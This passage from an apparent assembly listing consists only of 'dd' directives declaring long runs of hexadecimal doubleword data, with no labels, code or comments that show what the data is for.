		dd 47CC2351h, 6AAE00CAh, 0C18EF403h, 0B2001410h, 4F3E1EDFh
		dd 39C73537h, 0C80052A0h, 0B016FA9Ch, 5C098676h, 829034C6h
		dd 48CBB230h, 74F138h, 628103DBh, 911331Dh, 61FDB600h
		dd 3679F49Dh, 0C96F0F1h, 864FFBCCh, 5C7EB1FCh, 3B6EB21Dh
		dd 19F14540h, 74A5E56Ch, 93650079h, 0CE0CD22Eh,	4A006DB7h
		dd 9787CCFEh, 1C92E1F3h, 8DEC51h, 6CE0BB40h, 0FE006F38h
		dd 22F46562h, 1FEA7064h, 3D7133Dh, 0F1481553h, 0D1F4590Ch
		dd 7DB89968h, 1D07F35h,	43BFB0FAh, 0EC752466h, 69004E83h
		dd 0CE158757h, 1CC484C2h, 0BEBA1394h, 0F25C478Ch, 3B008550h
		dd 0B7B88CCCh, 6EE9864h, 32978D2Fh, 300020EFh, 8B85E5B3h
		dd 2C24DA2h, 4506684Bh,	6A00F49Bh, 37844CEh, 0E2E1D910h
		dd 0D818FC62h, 38B1E76Dh, 4ACA007Bh, 5EFE2F94h,	0EE000363h
		dd 6EC2189Bh, 0FB9F68h,	22F1617Dh, 7C80DD2Dh, 72D83A1Dh
		dd 7880E99Dh, 208F9948h, 97DB3B6Bh, 21C9188Bh, 93FA9B82h
		dd 3FB0CDC0h, 74985000h, 485D1FD3h, 69A90F71h, 10E02309h
		dd 13663D64h, 0C4260A07h, 2C90061Fh, 0E8DDC68h,	4681EE3Ah
		dd 6EA60B80h, 89011DE0h, 39EA581Ch, 44F0E57Eh, 7ADE7CFBh
		dd 7B8FA0C8h, 1FDD0081h, 7CA5E316h, 0D20C4327h,	85EDE3Ah
		dd 49760Ah, 4DD9B61Fh, 0A3067CCDh, 15D87A00h, 0A571D509h
		dd 0F9920088h, 9BD6DD66h, 0A30FF70Ch, 8C7414h, 34ECA568h
		dd 0AB981F32h, 265E2C8Ah, 0BFCB00E6h, 134A902Dh, 85FC20C6h
		dd 90686038h, 6FDAECF6h, 80076937h, 0D3558681h,	0C725430h
		dd 7152CA73h, 21C07808h, 0E2D08E26h, 0FB9D005Fh, 666B8C36h
		dd 60002508h, 0BB7E3AFEh, 98F63EAh, 0CD6D1D98h,	0F2184E0Ch
		dd 72A61F0Dh, 2E604808h, 0E2A10787h, 76B6502Bh,	0E760095Dh
		dd 5C6F9D21h, 0BF770046h, 7173933Fh, 8409CF25h,	0FDBD756Ah
		dd 0DBB62180h, 7E0045C4h, 31CC03Dh, 3AB1170Bh, 0BB80AC4Dh
		dd 0B6C382D1h, 0C600F55Ah, 85B764FAh, 0F0980F2h, 0D810B9FCh
		dd 95EE20C0h, 0E1025125h, 1F4419FAh, 0A1E3C0B8h, 9B7B35h
		dd 4D5930FFh, 0EC10B390h, 4F0D7A00h, 0A3A2CEF6h, 0DAA71E56h
		dd 0B942405Fh, 222D946Ch, 44E97500h, 0F5581E3Ah, 0E0990037h
		dd 0DC27AB0Fh, 420501DEh, 45AD1D09h, 240468h, 0A7C5B5A4h
		dd 1EAFD091h, 303094F8h, 0A30D2129h, 339E4E9h, 0A8B69E19h
		dd 0ACA29591h, 0E892CA20h, 391C0077h, 3E79CB6Eh, 961F53C4h
		dd 0A181FD2h, 20811488h, 9501D0A7h, 6FD5CC90h, 92C043F4h
		dd 0D714A0B9h, 64EC0358h, 0C4795296h, 0EAE02FDAh, 32761219h
		dd 35088E00h, 50FF31A1h, 941D009Fh, 0F28F54F5h,	0C139AF44h
		dd 7460877Ah, 0A46056F3h, 1DB95594h, 0C67221BDh, 9D48E6Eh
		dd 207B5630h, 0BDB0B5h,	0D0DAA569h, 7AE87CBFh, 29F01000h
		dd 0E72B9FB4h, 99620085h, 0F587D20Fh, 2AE2A471h, 9560101Eh
		dd 3D149F00h, 0C692675h, 331E3646h, 60C07408h, 4A1A7FF5h
		dd 0E3FE8Eh, 4E7C071h, 0D26156CAh, 90646B0Ch, 13F484Eh
		dd 0B6973944h, 0F71EEDCFh, 0D009E7D1h, 0F200A85Eh, 9733353Fh
		dd 19DC66h, 7FCF39C8h, 9CE009C5h, 96A420C0h, 0F82217B2h
		dd 0D45A0005h, 0DDEB6F6Eh, 6D18F5E4h, 0A4688052h, 21500034h
		dd 0CBB1102Eh, 0CCE20159h, 0A48980E9h, 2720FBBAh, 773A1EC1h
		dd 0EEC28903h, 60ACEE80h, 0C610FB7h, 6D2A9428h,	3A246040h
		dd 2757C42h, 3996DA0Fh,	9C895C53h, 0B0D8AF80h, 2000243Dh
		dd 690B84ECh, 0A3577Ah,	7D22A16Ah, 5D3E9FD9h, 0A0118B1Fh
		dd 8AE32B80h, 0AA7BAC5h, 0F3B747FBh, 81350018h,	693FACC8h
		dd 88532E00h, 3634422Ah, 4BEE2C24h, 52FD02AFh, 0E3DF0EA5h
		dd 0A169A05Fh, 1F6C7D95h, 362BA24h, 0E5E65B35h,	83A20AA1h
		dd 86DBC858h, 296789BEh, 75B512C8h, 0CBCD038Bh,	2450E46Fh
		dd 28354801h, 0D377D468h, 8EFC8h, 0EC254D1Ah, 0F5BD52D8h
		dd 0C5BFAC00h, 0ADAB7483h, 60E035Ch, 7E98E287h,	24001873h
		dd 331A4CB9h, 27404Eh, 9D840DBDh, 0E0580247h, 6E684F60h
		dd 1939A29h, 2D4E79FEh,	0D0740B65h, 20C033C1h, 0F29A59A5h
		dd 2890B3h, 0B80DAB0Ah,	232C49F7h, 19B49250h, 0EF22DE00h
		dd 0CDFA5CB5h, 0ABFCDFh, 7A4A76A4h, 5E803411h, 0C1BDA700h
		dd 0C5FF474Bh, 579A0A2Bh, 2CE369D1h, 41873ACDh,	30B00777h
		dd 0B24BA22Fh, 0C708D263h, 46680089h, 99F00776h, 2E03D68Eh
		dd 1F42FEF8h, 2989003Fh, 0D002E9BAh, 5C006A0Dh,	0A4D7B1B9h
		dd 139387h, 5FC517B4h, 27BBD0F1h, 0A53C3F1Fh, 0EF2B20C0h
		dd 582A48h, 0E7F9672h, 0FD1599FCh, 0E19A6300h, 0E8BA46E9h
		dd 6C1D1FA2h, 0EC458051h, 64CC810Dh, 0C7B65200h, 0FB77A85Bh
		dd 255400E2h, 0CB4DBBCEh, 8A7A71F1h, 0AB024200h, 983AF2B6h
		dd 6012E8B5h, 8927204Eh, 8E038BE2h, 0ADB1EE3Eh,	401CDAFEh
		dd 0E5D138h, 0FA9A5865h, 0FC0768CFh, 31615Ch, 6E8951F1h
		dd 3FB92239h, 93005F43h, 4F247026h, 4E007A5Eh, 516996A3h
		dd 0E8551AAEh, 11C500F4h, 0E69114D2h, 7E195F75h, 0F00824D3h
		dd 0B332180h, 4ECEEB14h, 7068EF60h, 0EE553F8h, 863257F0h
		dd 0DC9B0077h, 8F4B7108h, 14896700h, 0F555AF7h,	0D94600FCh
		dd 7A90FDB1h, 59CE32FEh, 18E4855Bh, 4208444Eh, 3025E643h
		dd 0F30B78CEh, 0F52131C5h, 0BD00A60Bh, 0AE055DB0h, 9A1DE77Eh
		dd 74401D37h, 0FDC7DC1Fh, 0F0A2009Dh, 7DD1B367h, 6F033052h
		dd 79FA7C2Dh, 56703960h, 8045E21Dh, 0CF40EBFBh,	0C0011522h
		dd 97F6C707h, 0B4407EC9h, 0CF3CBDEh, 492519B9h,	1C0BEEA8h
		dd 80B1282Bh, 602ED3D3h, 367C2Ch, 50F0A7EFh, 4CCE8EA6h
		dd 2EA6E34Ch, 3609F8FCh, 0B614010Ah, 0C2364F7h,	96004123h
		dd 8B023EBEh, 10ED86B5h, 98BFA57Bh, 2E3B00CCh, 0E623A9AAh
		dd 541DA7FFh, 0A2C3D60Ah, 0E176459Ah, 0E880EF95h, 0AD042F65h
		dd 7D0C68B9h, 83D1A58h,	50FD0077h, 4308CF4h, 7BF8A96Bh
		dd 0B4D56D00h, 7D7549F6h, 5C3F01ABh, 133EEC5Dh,	0E1D45061h
		dd 0A307B8DEh, 29FF9B20h, 0E9266610h, 0D8FE0681h, 284BE4DBh
		dd 4C59F124h, 4D1BBF41h, 0E0B663CCh, 7721015Ah,	37A98708h
		dd 44BC20BCh, 6B85C405h, 980410FAh, 0D4012982h,	0BBF3793Ch
		dd 1DE58250h, 48A212DEh
		dd 0CCB4664h, 64A4581Ah, 0EC1E94F0h, 86BE7C17h,	55D25C1Bh
		dd 0A0455008h, 0C9FD0051h, 93A82418h, 190CE628h, 4866D0CFh
		dd 62028C0Ch, 961A1E18h, 104A1929h, 172497h, 0BF419DC3h
		dd 4F1163C6h, 0D597009h, 7B782403h, 5A8C2080h, 0F2412A0Fh
		dd 0CD6421F8h, 64BFA98Eh, 6D6390D0h, 8810F116h,	729EAE0h
		dd 0B358BED8h, 0DC8A86h, 39A07F77h, 10C2F8FAh, 0B321459Bh
		dd 0A6FBD0FCh, 374046B9h, 85E0C028h, 90090495h,	42D31CC7h
		dd 61067E12h, 0B1F5C713h, 9023D219h, 0D4242151h, 0DFF9F025h
		dd 65DC0CC1h, 0C41E2F91h, 1780E0AAh, 0A195493Fh, 578E0373h
		dd 0BBF2177h, 0CCDEF690h, 0B000EE74h, 18675542h, 0D38F2Ch
		dd 0A9A2D5E1h, 219F8546h, 0CC842900h, 59542056h, 5D570098h
		dd 0A25C1F80h, 0AF01790Dh, 0C9A3A16Ch, 41E01058h, 0D28F3008h
		dd 0EB231749h, 0A4B17A00h, 2821A16Fh, 9C991FC7h, 401500DEh
		dd 33CA83E4h, 8CAB9500h, 3E62AA32h, 4159C08Bh, 0D2CEDEE8h
		dd 0A50F163h, 0AE0818E6h, 574B20ACh, 3383E000h,	0EFB90CC8h
		dd 0DE7008Ah, 242E22E6h, 3603B634h, 0DF55D0B4h,	9856A8A7h
		dd 4668C88Bh, 0D262F4C1h, 86D751C4h, 3B08520h, 0BA62F377h
		dd 0BFE8EE78h, 0C40181E8h, 57921F7Bh, 2F208Eh, 0B00C1A5Ah
		dd 0A901F78Ch, 4855D5F6h, 4420D761h, 8AA8A036h,	0D4DF0087h
		dd 4DB8DA4Fh, 0CD66BBA6h, 1C49AA08h, 0BCD4E02Eh, 0C0D56400h
		dd 81B00D5Ah, 8221AF60h, 0C7DD0557h, 9035E969h,	8D965AFFh
		dd 80001DF8h, 1E0BB792h, 294C55B4h, 70789810h, 67428A19h
		dd 5AF2E900h, 6D3A52DAh, 3C8D4803h, 95CC75ABh, 0B8218C47h
		dd 5AA89341h, 0EA1824h,	64A38869h, 2CAC793Fh, 186AF63Ah
		dd 80208415h, 0E7880068h, 49A653B4h, 3A7406A2h,	0B6361517h
		dd 3BF30201h, 9C42574Eh, 0D4B733h, 6D7A0CCEh, 0CD1F42E9h
		dd 2846ED39h, 39C08371h, 4C857D7h, 89533DFCh, 0B2C6068Ch
		dd 7D083EAh, 0CBED6CC8h, 514C503Ch, 500909Dh, 12A1D8BFh
		dd 0F5EF83h, 1EF06569h,	78DDE5A9h, 0A03E2B0Fh, 47B8BDAh
		dd 1382725Bh, 0BAB28029h, 0CAA175h, 94FC179Ah, 9DEF8D2Fh
		dd 218208CCh, 9AF458h, 0BF44DCCBh, 54A5817Ah, 25015198h
		dd 63E3AA9Ch, 20E4A6A4h, 53050040h, 5E834981h, 0A807DDE4h
		dd 0A4EB995Dh, 95509Ch,	23FE72A9h, 29D6F44Ah, 38085560h
		dd 0BA4994h, 457291E2h,	336B3534h, 46983D01h, 8807D06h
		dd 0CC0DECh, 0A875BBF1h, 0B7433FD2h, 0DE9BE8C1h, 0A080C081h
		dd 0B8CC1041h, 9E3EB495h, 29DF0044h, 25CA1BD4h,	0A3C40208h
		dd 0DC4DC64Bh, 8E609804h, 52EC6772h, 81D7308Ch,	7D2DB520h
		dd 26E8FA1Fh, 2E03125Dh, 0BBA2DAh, 1FC5F041h, 0B6963E86h
		dd 38E7FA03h, 0C339A77Fh, 8CFEF978h, 5900B0BEh,	0BDFA545h
		dd 35001B75h, 0D16B22F6h, 6F0F73h, 0F8097ACDh, 8CCC2D42h
		dd 4192A800h, 6508F0B1h, 7CEEE6Eh, 597537E1h, 0BEC50CCh
		dd 19FE84DDh, 8889760Eh, 0F0B240B8h, 0CD9699h, 365A70BEh
		dd 0C45E1F33h, 750C4500h, 3D825BAFh, 0F1A80095h, 0FFA3CF2Ch
		dd 9D3AD55Eh, 0E2833DB7h, 87C660A0h, 5C70C3D9h,	8C3502h
		dd 2D1D3C16h, 77B65FE2h, 281C6300h, 0D1C49AF0h,	5B0C07DCh
		dd 60207481h, 0FE9E2EE2h, 864F7300h, 0E01454A6h, 39010040h
		dd 0F01249B9h, 9830A362h, 8DBF182Ch, 60760120h,	825ECA46h
		dd 1BD8BC0Ah, 0E090CD9Dh, 35CE11h, 0FD4E28D6h, 83109C49h
		dd 30B68B00h, 32051465h, 687402A0h, 89872F5Bh, 0DCF655C0h
		dd 299F4800h, 42E19A4Fh, 71A6246Ah, 10B119D1h, 81045FDBh
		dd 0DADEDD04h, 935CF0h,	114190EFh, 21D232A8h, 80EBF73Bh
		dd 56E7228Ah, 70EC4Dh, 0AE7ED0EEh, 10620BF2h, 140B28E6h
		dd 0E9C266h, 0F039FAE7h, 0B9F40E1Dh, 21E0AFEAh,	0FE7F243Fh
		dd 0DA61D900h, 64346B51h, 0A4D21CC0h, 5A00F9DFh, 1E0644D7h
		dd 0AA0055B8h, 0AD669827h, 483E38E3h, 700796DEh, 5EC313h
		dd 0E6271FBFh, 76C68900h, 0CB804F5Dh, 84200042h, 6286E0FEh
		dd 4500DE0Dh, 0DAFA229Eh, 1E81F299h, 5A30433h, 0C96575h
		dd 0E0222CE3h, 43016C89h, 263964FCh, 1CF0975Bh,	19A91F07h
		dd 0C1CF5E35h, 7F69037Ah, 9C9DE8C9h, 8A285C17h,	0C085C00Fh
		dd 0CDC466ECh, 2800045h, 0FA9DE68Eh, 69037F13h,	49EBBF6Fh
		dd 0CC0FD01Ah, 95FF50BAh, 50BC3B2Ch, 0C01C28h, 218CF3C4h
		dd 2742460h, 58E63200h,	55AF7A89h, 0D1000C5h, 43404C27h
		dd 1D026DB3h, 0B69061CBh, 1FE8A045h, 677CC4h, 0D6A27627h
		dd 0E2E56699h, 4A96EB00h, 0B45A911Bh, 9C4F003Eh, 6CA0538Ah
		dd 36017D82h, 0F7BCE279h, 0E3E0079Ah, 426D0566h, 0A6F3C7h
		dd 0CE06FF98h, 0B204248Bh, 0E6628FA9h, 18DD3BC0h, 7CEA4Bh
		dd 0A39C7625h, 0F21D2606h, 97358C00h, 0D5C16C01h, 91E900EAh
		dd 54CB6EC5h, 2D00DC66h, 1CDFAF4h, 0F39BA6D2h, 0B24BF8h
		dd 814C433Bh, 9C732D40h, 526F1300h, 0A6D3C25Ah,	51DE00C4h
		dd 6BA418F5h, 560BDF8Ch, 0E5A299Dh, 0AFBF40ACh,	0B732C5h
		dd 0F6803A28h, 97A99B3Ch, 2612F8E0h, 7C00BC0Dh,	0E0197ACFh
		dd 8AC00E47h, 7CC1B505h, 0C8EDCEACh, 3700BAD3h,	3887D82Fh
		dd 211CD2h, 4F7BAFB5h, 10A13079h, 8F00BE6h, 778F1F00h
		dd 0ECE3160Ah, 9BEA262Ah, 0C74A0069h, 86F3BACDh, 210078FAh
		dd 0C6F4A7D9h, 0F258AFh, 4502E8B8h, 74845344h, 0FEA92101h
		dd 7F649F8Fh, 9951E852h, 0D8F834B0h, 95B600B7h,	0B2065726h
		dd 141E8D04h, 4C40F25Eh, 7C828E0Fh, 0DF801218h,	0C5400059h
		dd 3224304h, 627E5700h,	6E32C4CCh, 781490DAh, 0B5E20FF3h
		dd 37E09D15h, 0A1EC7B89h, 4CCEC700h, 6CCDEF8Ch,	0EA1D1357h
		dd 271840BBh, 81C60A7Fh, 21713200h, 0DE7A9B93h,	8357006Ah
		dd 612ED152h, 6BE27CC6h, 0B88B5003h, 8098BAE6h,	0E475A918h
		dd 9F50BD27h, 80CEE83Ah, 55BD3F2Eh, 410784h, 3B051909h
		dd 7960CCABh, 0E6B72407h, 4A809932h, 0FAC9Eh, 4B59F6EEh
		dd 534D96C8h, 47BB7401h, 87345738h, 3CC55DF0h, 8F05A360h
		dd 0C03F5C50h, 0AD5ABB33h, 35181A00h, 560F2181h, 0B74A5C16h
		dd 9C973700h, 0C4016122h, 852CC800h, 4923FDFh, 2625077Fh
		dd 17E5639Fh, 80F78483h, 0C9D7A795h, 6AC34300h,	9C54B4BEh
		dd 0BB81445h, 3900C180h, 5E7D1766h, 0FF6012CCh,	585CD80h
		dd 53CF00A7h, 9760B63h,	8F007A8Eh, 6126C4DFh, 0FFFD2B8h
		dd 1F8949F2h, 0DD8DB7A1h, 2EE0E011h, 19122703h,	0E8ED79FEh
		dd 1CEAB0h, 113B7D0Eh, 0B275F42Ch, 0A839E100h, 0A9885678h
		dd 0E09001h, 0C2E3E4A5h, 242BFD73h, 0EC1BBD00h,	0FE647E99h
		dd 0ADF85Ah, 6BC32EFCh,	3EDC584Dh, 0CA235E00h, 669BB3EDh
		dd 0B7AE00F3h, 3A1F0C7Bh, 3300A8BBh, 3FAD8162h,	0EC8EBC2h
		dd 0CF20547Ch, 4CB6B881h, 0B1DCF872h, 0BC294000h, 0F9240269h
		dd 27431337h, 5FC440F4h, 1FD54AE6h, 77412100h, 10C36C8Dh
		dd 0E81D0765h, 8069532Ah, 0ADC228B4h, 14581702h, 608AC6FEh
		dd 9154AD8h, 0E193D721h, 0C7809800h, 0EC006716h, 5097E84Eh
		dd 830D78h, 0DC2BDAE5h,	0D75CD989h, 0E4FBB707h,	0F6F0C1A3h
		dd 11115E7h, 0E9499210h, 0D469F398h, 6800A76Fh,	83FE8B4Bh
		dd 4F97CDh, 8C18861h, 6AAFD8E7h, 39C3F700h, 7747FA7Ch
		dd 3F93B0E1h, 299F4DE2h, 902620h, 671BEDA3h, 1300EA9Ch
		dd 0EEE2E13Eh, 0CADB24h
		dd 563F5961h, 2A7EC7F5h, 0DE098300h, 37F19FC1h,	81CF00E0h
		dd 17073C3Fh, 5800E76Bh, 4E702582h, 5C0477h, 0E39E4EEh
		dd 432A6837h, 0F6BF8E00h, 1B9BD236h, 0EA2C008Dh, 0E1ABC719h
		dd 900A88Bh, 0B33643AEh, 0F4E5E418h, 9FD03CF2h,	0D5871A80h
		dd 1211079Eh, 9A21E300h, 2F1DDBA5h, 953F00E2h, 56B70AFDh
		dd 4300D14Bh, 6153723Eh, 7E381C77h, 0D35F00CAh,	9ED02FA1h
		dd 0B47DEC7Eh, 63029C00h, 31A6C898h, 0FB7E09h, 0DCF7F008h
		dd 0B887C4B4h, 9912350Fh, 703F039Ch, 2F56E0CCh,	4FA60BB7h
		dd 0AE80A07Bh, 8CB6FB52h, 0C9901500h, 0AA45FDB8h, 0B43B0E2Eh
		dd 0A7A03E3Ah, 67D67F93h, 0B029601Ch, 68D0E840h, 0F4B20A92h
		dd 24401F6Dh, 3A80CF96h, 0D70778BDh, 0B1D127B3h, 200694D3h
		dd 1B3BE487h, 51B4806Dh, 0DE2C86EAh, 150C030Dh,	1858AA93h
		dd 0A8A8A583h, 0BB3F731Dh, 0EB678002h, 98F04407h, 12B31D16h
		dd 2417C05Ch, 25A56ACBh, 34234C00h, 7C66CF30h, 8FA43078h
		dd 415F890h, 0A52ADB03h, 8E6936BBh, 1EEE3F18h, 65116380h
		dd 66E18044h, 0C680A0Bh, 129A80A6h, 7EDBBCEh, 0B105365Ah
		dd 0D5F870E9h, 0B824E1C8h, 1F00B925h, 47841395h, 721E00B1h
		dd 628DD95Dh, 9EF093E8h, 992E323Ah, 0B3A92405h,	0A7ACD4h
		dd 394C3014h, 65DA8609h, 64C34F24h, 0BB7D1Ch, 74B8914Dh
		dd 163B5685h, 0A8AC9D06h, 640529A4h, 10178642h,	6B1EF152h
		dd 7EBB0Ah, 6ACAF2E5h, 34839540h, 408841B8h, 0CC1AB494h
		dd 2700B16Eh, 44C6FAAEh, 1DB24EC0h, 4DA0EEh, 0FF7168Ch
		dd 4A00DB20h, 0EA43884Ch, 0ECB414Eh, 50659C80h,	60FCD4E0h
		dd 0A1009B7Ch, 0DEA4DD75h, 0EC03A20Fh, 1619F417h, 0A757B0h
		dd 0AE8D2810h, 0E4E3336Bh, 0C300A9FCh, 0DB759DBDh, 60EE6Dh
		dd 35035F72h, 3B270AFBh, 0AAAB5807h, 208F2D4Eh,	8C80EF4Dh
		dd 0AAFE78A4h, 4AC0880h, 12024B64h, 0CBD4104h, 0C030563Ah
		dd 0A578AE64h, 0FD050026h, 974138FBh, 0AC7CBF10h, 0C2B9F28h
		dd 46101D43h, 62F98891h, 1111906Eh, 9E22910Ch, 10AD4304h
		dd 5849842h, 859E21CAh,	90422108h, 84679710h, 2421F059h
		dd 86150861h, 8826D21h,	5242AB71h, 0C0D1183h, 293CA9EBh
		dd 0F9584984h, 813C9570h, 0F8D03C11h, 0A0495B47h, 51247C4Ch
		dd 382A1585h, 6D6F230Ah, 0BD80B83Bh, 0F1D77BADh, 4B570695h
		dd 39AAD010h, 0D60CA6E0h, 601C1BF2h, 0FB3D0712h, 60D1B909h
		dd 0DB45C5A1h, 0F069F700h, 303C3B31h, 60620059h, 6E5DCB22h
		dd 0BB605A6Dh, 8090F208h, 5827006Ah, 0AAD4C6A1h, 87703CEAh
		dd 2CED4614h, 0AB56C14Ch, 788EAA1Dh, 53018826h,	70AF5006h
		dd 84A04769h, 0A800936Dh, 0BD96DB83h, 78F8C0Eh,	84903B16h
		dd 46C02FB4h, 97E2E09Dh, 0C5A25700h, 2D8C8A4Bh,	92380A24h
		dd 0C41C9520h, 2668B2h,	2A1D745Ah, 0F7DFB186h, 573CE31Dh
		dd 33853B05h, 5710C02Ah, 0DE7F0089h, 8635B2B9h,	1440D0FFh
		dd 0B54A0501h, 0DC167265h, 2500D57Fh, 67A927F5h, 0FEA282Ch
		dd 799BB551h, 405CB22Ah, 0DB7CA833h, 0F2A38500h, 4C949856h
		dd 0DCC30128h, 5CED40C7h, 5F65D096h, 549C1E1Eh,	5C86180h
		dd 0DB13F9Dh, 0C015D342h, 3A82088h, 1871E304h, 1080B2BFh
		dd 14C7DF3Fh, 145F4622h, 0B7C3047Dh, 31FD14Fh, 103FB950h
		dd 0EC6241B0h, 0B2AF46A2h, 4C9CB4h, 3C45E058h, 0C9699DDh
		dd 3E70107Bh, 64835A24h, 40564B80h, 9A8EC874h, 33AD2438h
		dd 0E101803Ch, 51109BCFh, 4BCC8154h, 920EF7B8h,	9E33E58Ah
		dd 9BB18B80h, 122CD9AFh, 6268965Dh, 9E1DC474h, 0CDD2C094h
		dd 0EA88A730h, 0B30E5600h, 0C39960FEh, 3ACE65Eh, 0D88E75F0h
		dd 2CD85D37h, 9E74F303h, 47582405h, 0AC835B06h,	20C629h
		dd 765134E9h, 84681FD4h, 13D2C0F3h, 0DFA56F07h,	37401A93h
		dd 7F61E292h, 0BDD53B6Bh, 0F5470287h, 3251E156h, 4F308F8Ch
		dd 2AD9A658h, 0B2A00058h, 739A77FEh, 0EA78E2DDh, 480C1100h
		dd 56CB088Fh, 0E4500024h, 24B0D0Ah, 5F0016A9h, 1CDC8655h
		dd 0A56F7BACh, 39645044h, 0E5DD84A8h, 2DCD6801h, 12DC3AF7h
		dd 372ACC0h, 238B3DE6h,	0CEC0A35Bh, 0E21D3BA5h,	0B6001427h
		dd 0C512022h, 4B39020Bh, 0E6613E8Ch, 734AA660h,	7200CB74h
		dd 972C2E11h, 0D8228Dh,	0A3965E18h, 39AC0E7Bh, 0C9B06106h
		dd 8927BFh, 0EF906928h,	867D1413h, 0E3FEA002h, 94681881h
		dd 0B8A80E84h, 43858BA4h, 0C2A0008Fh, 39AFF75Ch, 0A533F100h
		dd 0B424D5C1h, 0F09AE622h, 1A580054h, 0C7A23992h, 401D072Fh
		dd 0D58949F7h, 69042097h, 1ECDBE0Fh, 19555A3h, 5B0EEE8Ch
		dd 0BFD04053h, 3288C8E2h, 521C03B5h, 0E51DB4EFh, 0D39DA098h
		dd 43A18300h, 0EBA39747h, 18EF285Ah, 0F7A7CB4h,	0BE4BD280h
		dd 28DB73E3h, 0B83DFC8h, 0F65AE818h, 55D80h, 0A0E5D9C9h
		dd 0ADF0D725h, 0B6CD20FFh, 0D43BF3F2h, 0EDEBEF9h, 7598891h
		dd 53415476h, 0C2245AFh, 1C1B66BCh, 87D8EE60h, 4887664h
		dd 0FE351E89h, 534813Ah, 4A6AC10Fh, 6FEE7FCh, 79C88C08h
		dd 0F46D5202h, 90064200h, 0C9E23112h, 81D80A7h,	0E0448520h
		dd 528A5699h, 0BDE03500h, 0A9B3D21Fh, 121E0F64h, 20986986h
		dd 4B07A03Fh, 4FFACCDBh, 0D8650E30h, 0CBC68998h, 1601021h
		dd 0A5D7FAA1h, 0FBE71752h, 1001BE85h, 5ABD37F9h, 10CD9108h
		dd 95E921CBh, 4B7800E7h, 93E23063h, 109AF39h, 20EA4Ah
		dd 6EDB7D6Dh, 5266063Eh, 0B0B9ADFFh, 39610DFCh,	5E8736D0h
		dd 494C4081h, 0B9BAFACFh, 0AB8D8h, 5C280873h, 6CB994Bh
		dd 0C0974D9Dh, 3918908Ch, 5A405D0Ch, 256803DDh,	4D9306C3h
		dd 1D004876h, 0CD3664A8h, 308AA4D8h, 0FFC9AA2Bh, 0CE8FD93h
		dd 0DBB4C106h, 1CA04775h, 5968DC33h, 603948E6h,	20295010h
		dd 490CB0D0h, 3C80C0B6h, 70005CE9h, 51E30453h, 0D0ABFA90h
		dd 85A7EAD0h, 48DD8A4h,	5D5B2BC1h, 0DA21085h, 21A800F1h
		dd 52852219h, 0B9A51018h, 70962BA8h, 0B53C0AB4h, 16985A91h
		dd 29C51821h, 0FD402E02h, 5E448632h, 0C72C4431h, 0C851516Fh
		dd 0FF6C84B5h, 504D0E42h, 8B934100h, 455A3B7Dh,	11BB8A00h
		dd 0E3EC0853h, 46740962h, 8200427Fh, 0A3369F1Dh, 1C843300h
		dd 6D48DB90h, 2E4E03A8h, 8B542446h, 0C9D4B9B0h,	800D5C3Eh
		dd 9CF8F02Ch, 3BEAA731h, 5E946E29h, 0E600AD11h,	3CF97FFEh
		dd 2800E29Bh, 0E8F7D8C7h, 702112h, 4AB0C5E1h, 48B97BF2h
		dd 1798F9E2h, 32058007h, 1911A370h, 0F7C8CA1Dh,	0D91E0327h
		dd 5991E518h, 4FA23D0h,	0C139A12Dh, 40E2439Ch, 143A8Ah
		dd 0B16557B8h, 51E1ABE6h, 7077353Fh, 0AC7B3Ch, 961B013h
		dd 4B7A3Fh, 0A1CAFAD1h,	0B244E90Fh, 5D1DCE00h, 0D64F2DDh
		dd 9066772Ch, 42F8010Fh, 1BFC7E3Eh, 2AC8D4A6h, 0A48FFCABh
		dd 0AEB890A2h, 7C071E8Fh, 0ED4F382Ch, 0C7C3E737h, 0CEC1F5AAh
		dd 88507D74h, 3A5B0B8Ch, 8F005809h, 0E30E1EB5h,	0E27516BAh
		dd 0C5C9EA00h, 27FF860Dh, 555B03CBh, 68B203D3h,	0D195A0DFh
		dd 1E1C2CF4h, 5BC678D0h, 98D29Bh, 5328606Eh, 7CD8808Ah
		dd 0D7188B73h, 4750F93Ch, 0C2C700DAh, 0A9045788h, 6F1CD25Ch
		dd 0C183AF8h, 7C7D8111h, 0C793019Dh, 7940E19Bh,	0D670203Ah
		dd 6ABF6603h, 33BFF51h,	0A30A6CD0h, 0EC8898C9h,	1C09147Eh
		dd 318128h, 7B974404h, 18A101E8h, 0AFECB7C1h, 22D8E075h
		dd 40E50800h, 0F669A6D6h
		dd 0F868000Fh, 0BAB52312h, 5200C007h, 5548BEA1h, 561C67h
		dd 95FB10DEh, 0EA456E60h, 0FE1930C0h, 0B34DF5h,	0DE139087h
		dd 884E837h, 0C800CFFCh, 0E17A014Bh, 3FF29AFEh,	0E90E29D6h
		dd 0E50194A4h, 0ECB21A74h, 0F800DEC8h, 0CD8AFBFCh, 3F9B631Ch
		dd 52879EB5h, 60A6503Dh, 8C1EAE6Eh, 0C914461Dh,	612D9F00h
		dd 24A272EDh, 0F043BA1h, 0C060651Ch, 826DBDE7h,	0F8058D02h
		dd 60961A8Eh, 7577DE1h,	782ACA0Eh, 0D9C4903Ch, 0EC00814Ah
		dd 0F3BB6CBAh, 12FF192h, 7D4F872Dh, 604DA56Ah, 0F0002446h
		dd 26CB736h, 0AFA81F4h,	0FF7EE729h, 9EE479F0h, 9200631Ch
		dd 0BB94C226h, 12107F53h, 1F68E0D2h, 0E9B7005Ch, 839E9F03h
		dd 0C2DB8C07h, 0AE9223DFh, 0A98403Fh, 9705056Bh, 2BFE5Eh
		dd 4AE7C3E8h, 0B624AC85h, 0F103C0F9h, 0F0B7960Bh, 12C7D4h
		dd 65F5A7E8h, 69CFC8EEh, 9A75D300h, 9AFC25Ch, 40F6001Ah
		dd 9807F599h, 7A003C67h, 2F1143B8h, 202F86Bh, 0AA84F076h
		dd 0AEC0E6C6h, 50056E2h, 88ADC374h, 0FF16D83h, 0CCAA4626h
		dd 5790BB00h, 10008191h, 79F3F406h, 0DB5899h, 0EB2FB1C8h
		dd 28229211h, 3A386700h, 272A5A0Bh, 1FA573A0h, 8A6B1C61h
		dd 0E03431h, 3F083C7Ch,	553F5C47h, 572200E0h, 4535736Eh
		dd 0F7DD0053h, 3FC3AC68h, 2300E199h, 0CBC9A7B8h, 0B8D5269Ah
		dd 4F51000Dh, 5DB002BDh, 0E7506752h, 0C71004E0h, 80A0B618h
		dd 82058A97h, 0A8C3473h, 538FC000h, 9022F29Fh, 0C41C26B0h
		dd 0BB4E066Eh, 7F7E2021h, 107A5607h, 760CE04h, 0ECBE4349h
		dd 1A7B0073h, 0FB70FA0Eh, 8100F51Bh, 8CB7D767h,	59D2E1h
